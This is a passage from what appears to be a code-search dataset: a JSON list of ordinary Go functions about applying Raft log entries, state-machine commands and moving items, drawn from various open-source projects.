{\n\t\treturn errors.Wrap(err, \"unmap header\")\n\t}\n\n\t// Restore it on the filesystme.\n\treturn te.restoreMetadata(path, hdr)\n}", "func (u updateUploadRevision) apply(data *journalPersist) {\n\tif len(u.NewRevisionTxn.FileContractRevisions) == 0 {\n\t\tbuild.Critical(\"updateUploadRevision is missing its FileContractRevision\")\n\t\treturn\n\t}\n\n\trev := u.NewRevisionTxn.FileContractRevisions[0]\n\tc := data.Contracts[rev.ParentID.String()]\n\tc.LastRevisionTxn = u.NewRevisionTxn\n\n\tif u.NewSectorIndex == len(c.MerkleRoots) {\n\t\tc.MerkleRoots = append(c.MerkleRoots, u.NewSectorRoot)\n\t} else if u.NewSectorIndex < len(c.MerkleRoots) {\n\t\tc.MerkleRoots[u.NewSectorIndex] = u.NewSectorRoot\n\t} else {\n\t\t// Shouldn't happen. TODO: Correctly handle error.\n\t}\n\n\tc.UploadSpending = u.NewUploadSpending\n\tc.StorageSpending = u.NewStorageSpending\n\tdata.Contracts[rev.ParentID.String()] = c\n}", "func (re *raftEngine) entriesToApply(ents []raftpb.Entry) (nents []raftpb.Entry) {\r\n\tif len(ents) == 0 {\r\n\t\treturn\r\n\t}\r\n\tfirstIndex := ents[0].Index\r\n\tif firstIndex > re.appliedIndex+1 {\r\n\t\tlog.ZAPSugaredLogger().Errorf(\"Error raised when processing entries to apply, first index of committed entry [%d] should <= appliedIndex [%d].\", firstIndex, re.appliedIndex)\r\n\t\treturn\r\n\t}\r\n\tif re.appliedIndex-firstIndex+1 < uint64(len(ents)) {\r\n\t\tnents = ents[re.appliedIndex-firstIndex+1:]\r\n\t}\r\n\treturn\r\n}", "func (s *Server) raftApply(t structs.MessageType, msg interface{}) (interface{}, error) {\n\tbuf, err := structs.Encode(t, msg)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"Failed to encode request: %v\", err)\n\t}\n\n\t// Warn if the command is very large\n\tif n := len(buf); n > raftWarnSize {\n\t\ts.logger.Printf(\"[WARN] consul: Attempting to apply large raft entry (%d bytes)\", n)\n\t}\n\n\tfuture := s.raft.Apply(buf, enqueueLimit)\n\tif err := future.Error(); err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn future.Response(), nil\n}", "func (c *DeleteCommand) Apply(context raft.Context) (interface{}, error) {\n\ts := context.Server().Context().(*Server)\n\tnextCAS, err := s.db.Delete(c.Path, c.CAS)\n\treturn nextCAS, err\n}", "func (s *Store) move(id, targetID string, before bool) error {\n\t// We're going to be modifying our items slice - lock for writing.\n\ts.mutex.Lock()\n\n\t// Unlock once we're done.\n\tdefer s.mutex.Unlock()\n\n\tindex := -1\n\ttarget := -1\n\n\t// Find the indexes of the items we're moving.\n\tfor i, item := range s.items {\n\t\tif item.id == id {\n\t\t\tindex = i\n\t\t}\n\n\t\tif item.id == targetID {\n\t\t\ttarget = i\n\t\t}\n\n\t\t// We can break early if we've found both indexes.\n\t\tif index != -1 && target != -1 {\n\t\t\tbreak\n\t\t}\n\t}\n\n\t// If either of the indexes is missing, return an error.\n\tif index == -1 || target == -1 {\n\t\treturn moodboard.ErrNoSuchItem\n\t}\n\n\titem := s.items[index]\n\n\tif index < target {\n\t\t// If we're moving the item before the target and it's already before the target then we need to take\n\t\t// 1 off the target to ensure we don't insert it after the target.\n\t\tif before {\n\t\t\ttarget--\n\t\t}\n\n\t\t// index = 1\n\t\t// target = 4\n\t\t//\n\t\t// 0 1 2 3 4 5\n\t\t// -----------\n\t\t// A B C D E F\n\t\t// | / / / |\n\t\t// A C D E X F\n\t\t// | | | | | |\n\t\t// A C D E B F\n\t\tcopy(s.items[index:], s.items[index+1:target+1])\n\t} else if index > target {\n\t\t// If we're moving the item after the target and it's already after the target then we need to add 1\n\t\t// to the target to ensure we don't insert it before the target.\n\t\tif !before {\n\t\t\ttarget++\n\t\t}\n\n\t\t// move([]string{\"A\", \"B\", \"C\", \"D\", \"E\", \"F\"}, 4, 1)\n\t\t//\n\t\t// 0 1 2 3 4 5\n\t\t// -----------\n\t\t// A B C D E F\n\t\t// | \\ \\ \\ |\n\t\t// A X B C D F\n\t\t// | | | | | |\n\t\t// A E B C D F\n\t\tcopy(s.items[target+1:], s.items[target:index])\n\t}\n\n\ts.items[target] = item\n\n\treturn nil\n}", "func (gm *gmap) applyAll(gmp *gmapProgress, apply *apply) {\n\t// Apply snapshot\n\tgm.applySnapshot(gmp, apply)\n\t// Apply entries.\n\tgm.applyEntries(gmp, apply)\n\t// Wait for the raft routine to finish the disk writes before triggering a snapshot.\n\t// or applied index might be greater than the last index in raft storage.\n\t// since the raft routine might be slower than apply routine.\n\t<-apply.notifyc\n\t// Create snapshot if necessary\n\tgm.triggerSnapshot(gmp)\n}", "func Apply(store *MemoryStore, item events.Event) (err error) {\n\treturn store.Update(func(tx Tx) error {\n\t\tswitch v := item.(type) {\n\t\tcase state.EventCreateTask:\n\t\t\treturn CreateTask(tx, v.Task)\n\t\tcase state.EventUpdateTask:\n\t\t\treturn UpdateTask(tx, v.Task)\n\t\tcase state.EventDeleteTask:\n\t\t\treturn DeleteTask(tx, v.Task.ID)\n\n\t\tcase state.EventCreateService:\n\t\t\treturn CreateService(tx, v.Service)\n\t\tcase state.EventUpdateService:\n\t\t\treturn UpdateService(tx, v.Service)\n\t\tcase state.EventDeleteService:\n\t\t\treturn DeleteService(tx, v.Service.ID)\n\n\t\tcase state.EventCreateNetwork:\n\t\t\treturn CreateNetwork(tx, v.Network)\n\t\tcase state.EventUpdateNetwork:\n\t\t\treturn UpdateNetwork(tx, v.Network)\n\t\tcase state.EventDeleteNetwork:\n\t\t\treturn DeleteNetwork(tx, v.Network.ID)\n\n\t\tcase state.EventCreateNode:\n\t\t\treturn CreateNode(tx, v.Node)\n\t\tcase state.EventUpdateNode:\n\t\t\treturn UpdateNode(tx, v.Node)\n\t\tcase state.EventDeleteNode:\n\t\t\treturn DeleteNode(tx, v.Node.ID)\n\n\t\tcase state.EventCommit:\n\t\t\treturn nil\n\t\t}\n\t\treturn errors.New(\"unrecognized event type\")\n\t})\n}", "func ApplyCastling(board Board, kingPos Position, kingInfo PieceInfo, direction int) (newBoard Board) {\n\tvar rockMove, kingMove FullMove\n\tnewBoard = board\n\n\tif direction < 0 {\n\t\trockMove = FullMove{ Position{0, kingPos.y}, Move{3, 0} }\n\t} else {\n\t\trockMove = FullMove{ Position{7, kingPos.y}, Move{-2, 0} }\n\t}\n\n\tSetBoardAt(&newBoard, rockMove.pos, PieceInfo{ Piece_Rock, PieceStatus_CastlingNotAllowed, kingInfo.color })\n\tSetBoardAt(&newBoard, kingPos, PieceInfo{ kingInfo.piece, PieceStatus_CastlingNotAllowed, kingInfo.color })\n\n\tupdateStates := true\n\tkingMove = FullMove{ kingPos, Move{direction * 2, 0} }\n\tnewBoard = ApplyMove(newBoard, rockMove, updateStates)\n\tnewBoard = ApplyMove(newBoard, kingMove, updateStates)\n\n\treturn\n}", "func (tx *Tx) SMove(src, dst string, member string) error {\n\tif tx.db.hasExpired(src, Set) {\n\t\ttx.db.evict(src, Hash)\n\t\treturn ErrExpiredKey\n\t}\n\tif tx.db.hasExpired(dst, Set) {\n\t\ttx.db.evict(dst, Hash)\n\t\treturn ErrExpiredKey\n\t}\n\n\tok := tx.db.setStore.SMove(src, dst, member)\n\tif ok {\n\t\te := newRecordWithValue([]byte(src), []byte(member), []byte(dst), SetRecord, SetSMove)\n\t\ttx.addRecord(e)\n\t}\n\treturn nil\n}", "func (c *SetCommand) Apply(server *raft.Server) (interface{}, error) {\n\treturn etcdStore.Set(c.Key, c.Value, c.ExpireTime, server.CommitIndex())\n}", "func (f *raftStore) Apply(l *raft.Log) interface{} {\n\tvar newState state\n\tif err := json.Unmarshal(l.Data, &newState); err != nil {\n\t\treturn errors.Wrap(err, \"failed to unmarshal state\")\n\t}\n\tf.logger.Debug(\"Applying new status\", \"old\", f.m.GetCurrentState(), \"new\", newState)\n\tf.mu.Lock()\n\tif f.inFlight != nil && newState.CompareHRSTo(*f.inFlight) >= 0 {\n\t\tf.inFlight = nil\n\t}\n\tf.mu.Unlock()\n\tf.m.setNewState(newState)\n\treturn nil\n}", "func (c *JoinCommand) Apply(context raft.Context) (interface{}, error) {\n\tindex, err := applyJoin(c, context)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tb := make([]byte, 8)\n\tbinary.PutUvarint(b, index)\n\treturn b, nil\n}", "func (m Matrix) Moved(delta Vec) Matrix {\n\tm[4], m[5] = m[4]+delta.X, m[5]+delta.Y\n\treturn m\n}", "func(s *SetImp) Apply(t Target, a Action) os.Error {\n\tif err := t.ApplyPreq(a); err != nil { return err }\n\tif err := t.Apply(a); err != nil { return err }\n\treturn nil\n}", "func (s *Stream) AmendEntry(entry *stream.StreamEntry, oldTimestamp time.Time) error {\n\t_, err := s.dataTable.Get(oldTimestamp).Replace(entry).RunWrite(s.h.rctx)\n\treturn err\n}", "func (m *Map) Move(loc Location, d Direction) Location {\n\tRow, Col := m.FromLocation(loc)\n\tswitch d {\n\t\tcase North:\t\tRow -= 1\n\t\tcase South:\t\tRow += 1\n\t\tcase West:\t\tCol -= 1\n\t\tcase East:\t\tCol += 1\n\t\tcase NoMovement: //do nothing\n\t\tdefault: Panicf(\"%v is not a valid direction\", d)\n\t}\n\treturn m.FromRowCol(Row, Col) //this will handle wrapping out-of-bounds numbers\n}", "func (pred *LikePredicate) Apply(c cm.Collection) error {\n\tcol := c.(*Table)\n\n\tlike := \"like\"\n\n\tif pred.CaseSensitive {\n\t\tlike = \"ilike\"\n\t}\n\n\tcol.filterStatements = append(col.filterStatements,\n\t\tfmt.Sprintf(\"%s %s ?\", pred.Column.Name(), like))\n\n\tcol.filterValues = append(col.filterValues, pred.Value)\n\n\treturn nil\n}", "func (moves Moves) ApplyPrefix(prefix path.Path) Moves {\n\tnewMoves := make(Moves, len(moves))\n\tfor i, mv := range moves {\n\t\tnewMoves[i] = mv.ApplyPrefix(prefix)\n\t}\n\n\treturn newMoves\n}", "func (u *MacroUpdate) Apply(m *Macro) error {\n\tif u.Name != \"\" {\n\t\tm.Name = u.Name\n\t}\n\n\tif u.Selected != nil {\n\t\tm.Selected = u.Selected\n\t}\n\n\tif u.Arguments != nil {\n\t\tm.Arguments = u.Arguments\n\t}\n\n\treturn nil\n}", "func (gm *gmap) applySnapshot(gmp *gmapProgress, apply *apply) {\n\t// Check snapshot empty or not.\n\tif raft.IsEmptySnap(apply.snapshot) {\n\t\treturn\n\t}\n\t// Write apply snapshot log.\n\tlogger.Infof(\"applying snapshot at index %d...\", gmp.snapi)\n\tdefer func() { logger.Infof(\"finished applying incoming snapshot at index %d\", gmp.snapi) }()\n\t// If the index of snapshot is smaller than the currently applied index, maybe raft is fault.\n\tif apply.snapshot.Metadata.Index < gmp.appliedi {\n\t\tlogger.Panicf(\"snapshot index [%d] should > applied index[%d] + 1\", apply.snapshot.Metadata.Index, gmp.appliedi)\n\t}\n\t// Because gmap does not need to be persistent, don't need wait for raftNode to persist snapshot into the disk.\n\t// <-apply.notifyc\n\t// Load storage data from snapshot.\n\tif err := gm.sets.load(apply.snapshot.Data); nil != err {\n\t\tlogger.Panicf(\"storage load error:%v\", err)\n\t}\n\t// Update gmap raft apply progress.\n\tgmp.appliedt, gmp.appliedi, gmp.confState = apply.snapshot.Metadata.Term, apply.snapshot.Metadata.Index, apply.snapshot.Metadata.ConfState\n\tgmp.snapi = gmp.appliedi\n}", "func (s Schema) Apply(data map[string]interface{}, opts ...ApplyOption) (common.MapStr, error) {\n\tevent, errors := s.ApplyTo(common.MapStr{}, data, opts...)\n\treturn event, errors.Err()\n}", "func (p *Player) move(treasureMap map[[2]int]int) ([2]int, bool) {\n\n\tif p.DirectionTaken == up {\n\t\tnewPlayerPositionXY := [2]int{p.Position[0], p.Position[1] + 1}\n\t\tif treasureMap[newPlayerPositionXY] == entity_obstacle {\n\t\t\tp.DirectionTaken = right\n\t\t} else {\n\t\t\treturn newPlayerPositionXY, true\n\t\t}\n\t}\n\n\tif p.DirectionTaken == right {\n\t\tnewPlayerPositionXY := [2]int{p.Position[0] + 1, p.Position[1]}\n\t\tif treasureMap[newPlayerPositionXY] == entity_obstacle {\n\t\t\tp.DirectionTaken = down\n\t\t} else {\n\t\t\treturn newPlayerPositionXY, true\n\t\t}\n\t}\n\n\tif p.DirectionTaken == down {\n\t\tnewPlayerPositionXY := [2]int{p.Position[0], p.Position[1] - 1}\n\t\tif treasureMap[newPlayerPositionXY] == entity_obstacle {\n\t\t\tp.DirectionTaken = stuck\n\t\t} else {\n\t\t\treturn newPlayerPositionXY, true\n\t\t}\n\t}\n\n\treturn p.Position, false\n}", "func (sm *ShardMaster) operateApply() {\n\tfor msg := range sm.applyCh {\n\t\top := msg.Command.(Op)\n\t\tsm.mu.Lock()\n\t\tswitch op.Type {\n\t\tcase \"Join\": {\n\t\t\targs := op.Args.(JoinArgs)\n\t\t\tif args.Serial.Number > sm.clientSerial[args.Serial.ClientId] {\n\t\t\t\tsm.clientSerial[args.Serial.ClientId] = args.Serial.Number\n\t\t\t\tsm.join(&args)\n\t\t\t\tdoneCh := sm.doneApplyCh[msg.CommandIndex]\n\t\t\t\tsm.mu.Unlock()\n\t\t\t\tselect {\n\t\t\t\tcase doneCh <- args.Serial:\n\t\t\t\tcase <- time.After(ApplySendTimeOut):\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\tsm.mu.Unlock()\n\t\t\t}\n\t\t}\n\t\tcase \"Leave\": {\n\t\t\targs := op.Args.(LeaveArgs)\n\t\t\tif args.Serial.Number > sm.clientSerial[args.Serial.ClientId] {\n\t\t\t\tsm.clientSerial[args.Serial.ClientId] = args.Serial.Number\n\t\t\t\tsm.leave(&args)\n\t\t\t\tdoneCh := sm.doneApplyCh[msg.CommandIndex]\n\t\t\t\tsm.mu.Unlock()\n\t\t\t\tselect {\n\t\t\t\tcase doneCh <- args.Serial:\n\t\t\t\tcase <- time.After(ApplySendTimeOut):\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\tsm.mu.Unlock()\n\t\t\t}\n\t\t}\n\t\tcase \"Move\": {\n\t\t\targs := op.Args.(MoveArgs)\n\t\t\tif args.Serial.Number > sm.clientSerial[args.Serial.ClientId] {\n\t\t\t\tsm.clientSerial[args.Serial.ClientId] = args.Serial.Number\n\t\t\t\tsm.move(&args)\n\t\t\t\tdoneCh := sm.doneApplyCh[msg.CommandIndex]\n\t\t\t\tsm.mu.Unlock()\n\t\t\t\tselect {\n\t\t\t\tcase doneCh <- args.Serial:\n\t\t\t\tcase <- time.After(ApplySendTimeOut):\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\tsm.mu.Unlock()\n\t\t\t}\n\t\t}\n\t\tcase \"Query\": {\n\t\t\targs := op.Args.(QueryArgs)\n\t\t\tif args.Serial.Number > sm.clientSerial[args.Serial.ClientId] {\n\t\t\t\tsm.clientSerial[args.Serial.ClientId] = args.Serial.Number\n\t\t\t\tsm.queryResults[msg.CommandIndex] = sm.query(&args)\n\t\t\t\tdoneCh := sm.doneApplyCh[msg.CommandIndex]\n\t\t\t\tsm.mu.Unlock()\n\t\t\t\tselect {\n\t\t\t\tcase doneCh <- args.Serial:\n\t\t\t\tcase <- time.After(ApplySendTimeOut):\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\tsm.mu.Unlock()\n\t\t\t}\n\t\t}\n\t\tdefault:\n\t\t\tlog.Fatal(\"Unrecognized op type\")\n\t\t}\n\t\tif sm.killed() {return}\n\t}\n}", "func (elems *ElementsNR) move(from, to dvid.Point3d, deleteElement bool) (moved *ElementNR, changed bool) {\n\tfor i, elem := range *elems {\n\t\tif from.Equals(elem.Pos) {\n\t\t\tchanged = true\n\t\t\t(*elems)[i].Pos = to\n\t\t\tmoved = (*elems)[i].Copy()\n\t\t\tif deleteElement {\n\t\t\t\t(*elems)[i] = (*elems)[len(*elems)-1] // Delete without preserving order.\n\t\t\t\t*elems = (*elems)[:len(*elems)-1]\n\t\t\t\tbreak\n\t\t\t}\n\t\t}\n\t}\n\treturn\n}", "func (entry *TableEntry) ApplyCommit() (err error) {\n\terr = entry.BaseEntryImpl.ApplyCommit()\n\tif err != nil {\n\t\treturn\n\t}\n\t// It is not wanted that a block spans across different schemas\n\tif entry.isColumnChangedInSchema() {\n\t\tentry.FreezeAppend()\n\t}\n\t// update the shortcut to the lastest schema\n\tentry.TableNode.schema.Store(entry.GetLatestNodeLocked().BaseNode.Schema)\n\treturn\n}", "func (mv *Move) ApplyPrefix(prefix path.Path) *Move {\n\treturn &Move{\n\t\tFrom: prefix.Append(mv.From),\n\t\tTo: prefix.Append(mv.To),\n\t}\n}", "func (s *State) apply(commit Commit) error {\n\t// state to identify proposals being processed\n\t// in the PendingProposals. Avoids linear loop to\n\t// remove entries from PendingProposals.\n\tvar processedProposals = map[string]bool{}\n\terr := s.applyProposals(commit.Updates, processedProposals)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\terr = s.applyProposals(commit.Removes, processedProposals)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\terr = s.applyProposals(commit.Adds, processedProposals)\n\tif err != nil {\n\t\treturn err\n\t}\n\treturn nil\n}", "func (this *ObjectPut) Apply(context Context, first, second, third value.Value) (value.Value, error) {\n\n\t// Check for type mismatches\n\tif first.Type() == value.MISSING || second.Type() == value.MISSING {\n\t\treturn value.MISSING_VALUE, nil\n\t} else if first.Type() != value.OBJECT || second.Type() != value.STRING {\n\t\treturn value.NULL_VALUE, nil\n\t}\n\n\tfield := second.Actual().(string)\n\n\trv := first.CopyForUpdate()\n\trv.SetField(field, third)\n\treturn rv, nil\n}", "func (f *FileUtil) move(src, dst string) {\n\tsrc = FixPath(src)\n\tdst = FixPath(dst)\n\tif f.Verbose {\n\t\tfmt.Println(\"Moving\", src, \"to\", dst)\n\t}\n\t_, err := f.dbx.Move(files.NewRelocationArg(src, dst))\n\tif err != nil {\n\t\tpanic(err)\n\t}\n}", "func (this *ObjectValues) Apply(context Context, arg value.Value) (value.Value, error) {\n\tif arg.Type() == value.MISSING {\n\t\treturn value.MISSING_VALUE, nil\n\t} else if arg.Type() != value.OBJECT {\n\t\treturn value.NULL_VALUE, nil\n\t}\n\n\toa := arg.Actual().(map[string]interface{})\n\tkeys := make(sort.StringSlice, 0, len(oa))\n\tfor key, _ := range oa {\n\t\tkeys = append(keys, key)\n\t}\n\n\tsort.Sort(keys)\n\tra := make([]interface{}, len(keys))\n\tfor i, k := range keys {\n\t\tra[i] = oa[k]\n\t}\n\n\treturn value.NewValue(ra), nil\n}", "func (this *ObjectValues) Apply(context Context, arg value.Value) (value.Value, error) {\n\tif arg.Type() == value.MISSING {\n\t\treturn value.MISSING_VALUE, nil\n\t} else if arg.Type() != value.OBJECT {\n\t\treturn value.NULL_VALUE, nil\n\t}\n\n\toa := arg.Actual().(map[string]interface{})\n\tkeys := make(sort.StringSlice, 0, len(oa))\n\tfor key, _ := range oa {\n\t\tkeys = append(keys, key)\n\t}\n\n\tsort.Sort(keys)\n\tra := make([]interface{}, len(keys))\n\tfor i, k := range keys {\n\t\tra[i] = oa[k]\n\t}\n\n\treturn value.NewValue(ra), nil\n}", "func (machine *StateMachine) Apply(command []byte) []byte {\n\n\tcom := Command{}\n\terr := json.Unmarshal(command, &com)\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\n\tif com.Operation == \"write\" {\n\t\tmachine.database[com.Key] = com.Value\n\t\treturn []byte(com.Value)\n\t}\n\n\tval, ok := machine.database[com.Key]\n\tif !ok {\n\t\treturn []byte{}\n\t}\n\treturn []byte(val)\n}", "func (v Data) Move(old, new int) {\n\tif old == new {\n\t\treturn // well\n\t}\n\n\tshifting := -1\n\to, n := old, new\n\tif old > new {\n\t\tshifting = 1\n\t\told, new = new+1, old+1\n\t}\n\n\tcell := v[o]\n\tcopy(v[old:new], v[old-shifting:new-shifting])\n\tv[n] = cell\n}", "func (elems *Elements) move(from, to dvid.Point3d, deleteElement bool) (moved *Element, changed bool) {\n\tfor i, elem := range *elems {\n\t\tif from.Equals(elem.Pos) {\n\t\t\tchanged = true\n\t\t\t(*elems)[i].Pos = to\n\t\t\tmoved = (*elems)[i].Copy()\n\t\t\tif deleteElement {\n\t\t\t\t(*elems)[i] = (*elems)[len(*elems)-1] // Delete without preserving order.\n\t\t\t\t*elems = (*elems)[:len(*elems)-1]\n\t\t\t\tbreak\n\t\t\t}\n\t\t}\n\t}\n\n\t// Check relationships for any moved points.\n\tfor i, elem := range *elems {\n\t\t// Move any relationship with given pt.\n\t\tfor j, r := range elem.Rels {\n\t\t\tif from.Equals(r.To) {\n\t\t\t\tr.To = to\n\t\t\t\t(*elems)[i].Rels[j] = r\n\t\t\t\tchanged = true\n\t\t\t}\n\t\t}\n\t}\n\treturn\n}", "func (this *ObjectPairs) Apply(context Context, arg value.Value) (value.Value, error) {\n\tif arg.Type() == value.MISSING {\n\t\treturn value.MISSING_VALUE, nil\n\t} else if arg.Type() != value.OBJECT {\n\t\treturn value.NULL_VALUE, nil\n\t}\n\n\toa := arg.Actual().(map[string]interface{})\n\tkeys := make(sort.StringSlice, 0, len(oa))\n\tfor key, _ := range oa {\n\t\tkeys = append(keys, key)\n\t}\n\n\tsort.Sort(keys)\n\tra := make([]interface{}, len(keys))\n\tfor i, k := range keys {\n\t\tra[i] = map[string]interface{}{\"name\": k, \"value\": oa[k]}\n\t}\n\n\treturn value.NewValue(ra), nil\n}", "func (this *ObjectPairs) Apply(context Context, arg value.Value) (value.Value, error) {\n\tif arg.Type() == value.MISSING {\n\t\treturn value.MISSING_VALUE, nil\n\t} else if arg.Type() != value.OBJECT {\n\t\treturn value.NULL_VALUE, nil\n\t}\n\n\toa := arg.Actual().(map[string]interface{})\n\tkeys := make(sort.StringSlice, 0, len(oa))\n\tfor key, _ := range oa {\n\t\tkeys = append(keys, key)\n\t}\n\n\tsort.Sort(keys)\n\tra := make([]interface{}, len(keys))\n\tfor i, k := range keys {\n\t\tra[i] = map[string]interface{}{\"name\": k, \"value\": oa[k]}\n\t}\n\n\treturn value.NewValue(ra), nil\n}", "func (db *GeoDB) MoveMember(q *GeoQuery) error {\n\tconn := db.pool.Get()\n\tdefer conn.Close()\n\n\t_, err := db.scripts[\"GEOMOVE\"].Do(\n\t\tconn,\n\t\tTwoKeys,\n\t\tq.FromKey,\n\t\tq.ToKey,\n\t\tq.Member,\n\t)\n\n\treturn err\n}", "func (this *ObjectInnerValues) Apply(context Context, arg value.Value) (value.Value, error) {\n\tif arg.Type() == value.MISSING {\n\t\treturn value.MISSING_VALUE, nil\n\t} else if arg.Type() != value.OBJECT {\n\t\treturn value.NULL_VALUE, nil\n\t}\n\n\toa := removeMissing(arg)\n\tkeys := make(sort.StringSlice, 0, len(oa))\n\tfor key, _ := range oa {\n\t\tkeys = append(keys, key)\n\t}\n\n\tsort.Sort(keys)\n\tra := make([]interface{}, len(keys))\n\tfor i, k := range keys {\n\t\tra[i] = oa[k]\n\t}\n\n\treturn value.NewValue(ra), nil\n}", "func (f *FSM) Apply(log *raft.Log) interface{} {\n\t// Lock the registry for the entire duration of the command\n\t// handlers. This is fine since no other write change can happen\n\t// anyways while we're running. This might slowdown a bit opening new\n\t// leader connections, but since application should be designed to open\n\t// their leaders once for all, it shouldn't be a problem in\n\t// practice. Read transactions are not be affected by the locking.\n\tf.registry.Lock()\n\tdefer f.registry.Unlock()\n\n\ttracer := f.registry.TracerFSM()\n\n\t// If we're being invoked in the context of a Methods replication hook\n\t// applying a log command, block execution of any log commands coming\n\t// on the wire from other leaders until the hook as completed.\n\tif f.registry.HookSyncPresent() && !f.registry.HookSyncMatches(log.Data) {\n\t\ttracer.Message(\"wait for methods hook to complete\")\n\t\t// This will temporarily release and re-acquire the registry lock.\n\t\tf.registry.HookSyncWait()\n\t}\n\n\terr := f.apply(tracer, log)\n\tif err != nil {\n\t\tif f.panicOnFailure {\n\t\t\ttracer.Panic(\"%v\", err)\n\t\t}\n\t\ttracer.Error(\"apply failed\", err)\n\t\treturn err\n\t}\n\n\treturn nil\n}", "func (op *OpFlatten) Apply(e *entry.Entry) error {\n\tparent := op.Field.Parent()\n\tval, ok := e.Delete(op.Field)\n\tif !ok {\n\t\t// The field doesn't exist, so ignore it\n\t\treturn fmt.Errorf(\"apply flatten: field %s does not exist on body\", op.Field)\n\t}\n\n\tvalMap, ok := val.(map[string]interface{})\n\tif !ok {\n\t\t// The field we were asked to flatten was not a map, so put it back\n\t\terr := e.Set(op.Field, val)\n\t\tif err != nil {\n\t\t\treturn errors.Wrap(err, \"reset non-map field\")\n\t\t}\n\t\treturn fmt.Errorf(\"apply flatten: field %s is not a map\", op.Field)\n\t}\n\n\tfor k, v := range valMap {\n\t\terr := e.Set(parent.Child(k), v)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\treturn nil\n}", "func (a Alias) Apply() error {\n\taliasFilePath, err := utils.GetAliasFile()\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tif !utils.FileExists(aliasFilePath) {\n\t\tif _, err = os.Create(aliasFilePath); err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\n\taliasMap, err := utils.AliasMapFromFile(aliasFilePath)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\texistingAlias, isAliasContained := aliasMap[a.Alias]\n\tif isAliasContained {\n\t\ttui.Debug(\"Alias %s already exists in alias file %s\", a.Alias, aliasMap)\n\t\tif existingAlias != a.Command {\n\t\t\terrMessage := fmt.Sprintf(\n\t\t\t\t\"Current command for alias '%s' (%s) is different than the requested (%s)\",\n\t\t\t\ta.Alias, existingAlias, a.Command,\n\t\t\t)\n\t\t\treturn errors.New(errMessage)\n\t\t} else {\n\t\t\treturn nil\n\t\t}\n\t} else {\n\t\taliasMap[a.Alias] = a.Command\n\t}\n\n\ttui.Debug(\"Writing to %s\", aliasFilePath)\n\tif err = utils.WriteKeyValuesToFile(aliasMap, aliasFilePath); err != nil {\n\t\treturn err\n\t}\n\n\treturn nil\n}", "func (e *Element) Apply(element *Element) {\n\telement.Children = append(element.Children, e)\n}", "func (a Vector) Apply(f func(float64) float64) {\n\tfor k := range a {\n\t\ta[k] = f(a[k])\n\t}\n}", "func (this *ObjectUnwrap) Apply(context Context, arg value.Value) (value.Value, error) {\n\tif arg.Type() == value.MISSING {\n\t\treturn value.MISSING_VALUE, nil\n\t} else if arg.Type() != value.OBJECT {\n\t\treturn value.NULL_VALUE, nil\n\t}\n\n\toa := arg.Actual().(map[string]interface{})\n\tif len(oa) == 1 {\n\t\tfor _, v := range oa {\n\t\t\treturn value.NewValue(v), nil\n\t\t}\n\t}\n\n\treturn value.NULL_VALUE, nil\n}", "func (mp *metaPartition) Apply(command []byte, index uint64) (resp interface{}, err error) {\n\tmsg := &MetaItem{}\n\tdefer func() {\n\t\tif err == nil {\n\t\t\tmp.uploadApplyID(index)\n\t\t}\n\t}()\n\tif err = msg.UnmarshalJson(command); err != nil {\n\t\treturn\n\t}\n\n\tswitch msg.Op {\n\tcase opFSMCreateInode:\n\t\tino := NewInode(0, 0)\n\t\tif err = ino.Unmarshal(msg.V); err != nil {\n\t\t\treturn\n\t\t}\n\t\tif mp.config.Cursor < ino.Inode {\n\t\t\tmp.config.Cursor = ino.Inode\n\t\t}\n\t\tresp = mp.fsmCreateInode(ino)\n\tcase opFSMUnlinkInode:\n\t\tino := NewInode(0, 0)\n\t\tif err = ino.Unmarshal(msg.V); err != nil {\n\t\t\treturn\n\t\t}\n\t\tresp = mp.fsmUnlinkInode(ino)\n\tcase opFSMUnlinkInodeBatch:\n\t\tinodes, err := InodeBatchUnmarshal(msg.V)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\tresp = mp.fsmUnlinkInodeBatch(inodes)\n\tcase opFSMExtentTruncate:\n\t\tino := NewInode(0, 0)\n\t\tif err = ino.Unmarshal(msg.V); err != nil {\n\t\t\treturn\n\t\t}\n\t\tresp = mp.fsmExtentsTruncate(ino)\n\tcase opFSMCreateLinkInode:\n\t\tino := NewInode(0, 0)\n\t\tif err = ino.Unmarshal(msg.V); err != nil {\n\t\t\treturn\n\t\t}\n\t\tresp = mp.fsmCreateLinkInode(ino)\n\tcase opFSMEvictInode:\n\t\tino := NewInode(0, 0)\n\t\tif err = ino.Unmarshal(msg.V); err != nil {\n\t\t\treturn\n\t\t}\n\t\tresp = mp.fsmEvictInode(ino)\n\tcase opFSMEvictInodeBatch:\n\t\tinodes, err := InodeBatchUnmarshal(msg.V)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\tresp = mp.fsmBatchEvictInode(inodes)\n\tcase opFSMSetAttr:\n\t\treq := &SetattrRequest{}\n\t\terr = json.Unmarshal(msg.V, req)\n\t\tif err != nil {\n\t\t\treturn\n\t\t}\n\t\terr = mp.fsmSetAttr(req)\n\tcase opFSMCreateDentry:\n\t\tden := &Dentry{}\n\t\tif err = den.Unmarshal(msg.V); err != nil {\n\t\t\treturn\n\t\t}\n\t\tresp = mp.fsmCreateDentry(den, false)\n\tcase opFSMDeleteDentry:\n\t\tden := &Dentry{}\n\t\tif err = den.Unmarshal(msg.V); err != nil {\n\t\t\treturn\n\t\t}\n\t\tresp = mp.fsmDeleteDentry(den, false)\n\tcase opFSMDeleteDentryBatch:\n\t\tdb, err := DentryBatchUnmarshal(msg.V)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\tresp = mp.fsmBatchDeleteDentry(db)\n\tcase opFSMUpdateDentry:\n\t\tden := &Dentry{}\n\t\tif err = den.Unmarshal(msg.V); err != nil {\n\t\t\treturn\n\t\t}\n\t\tresp = mp.fsmUpdateDentry(den)\n\tcase opFSMUpdatePartition:\n\t\treq 